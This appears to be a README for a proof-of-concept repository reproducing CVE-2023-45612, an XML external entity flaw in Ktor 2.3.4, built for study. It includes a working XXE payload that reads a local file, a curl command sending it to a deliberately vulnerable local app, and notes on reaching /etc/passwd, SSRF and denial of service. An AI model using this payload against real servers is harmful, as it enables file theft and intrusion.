
Ktor XXE Injection Proof-of-Concept (CVE-2023-45612)
Impact: Arbitrary files access via a crafted XML DTD with an XXE reference.
Root cause: Unsafe XML document parser.
This repo contains a vulnerable Ktor 2.3.4 app configured to allow external entities so the XXE effect is visible.
Vulnerable Ktor (v2.3.4) application for XML External Entity injection (CVE-2023-45612) proof of concept.
CVE-2023-45612 is an XXE (XML External Entity) bug in Ktor’s ContentNegotiation when XML is enabled in versions before 2.3.5.
This vulnerability maps to CWE-611: Improper Restriction of XML External Entity Reference.
XXE is a part of OWASP Top 10 A05:2021-Security Misconfiguration risk category, but it is also an insecure design problem, since the cause is a non-restrictive XML parser.
Reported by Ulf Karlsson — see Jetbrains security notes.
Ktor versions older than 2.3.5
This is my setup for reproducing the issue:
XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.
By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file.
For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems.
(https://cwe.mitre.org/data/definitions/611.html)
A POST request is made to the endpoint http://localhost:8080/xml.
The request sends an xml file, exploit/payloads/xxe-demo-file.xml, containing a <!DOCTYPE> element in which an external entity is referenced, exploit/etc/secret.txt in this case.
This could potentially be any other file on the system to which the process has acces to.
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
The XML parser (configured to allow DTDs) resolves this element and retrieves the resource data.
The external reference could also be a path to an SSRF endpoint, or could point to a large file in order to occupy system's resources (DOS).
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
Expected result (vulnerable):
Console outputs:
Received: <external entity data>
Expected result (secure):
400 Bad Request, or similar (The XML parser blocks Document Type Definition)
Run command:

Send XXE payload using cURL, and the result displaying injected file contents:

Severity is high/critical. Potential local file retrieval, SSRF attack, DoS attack, or other system impacts.
NVD Base Score: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)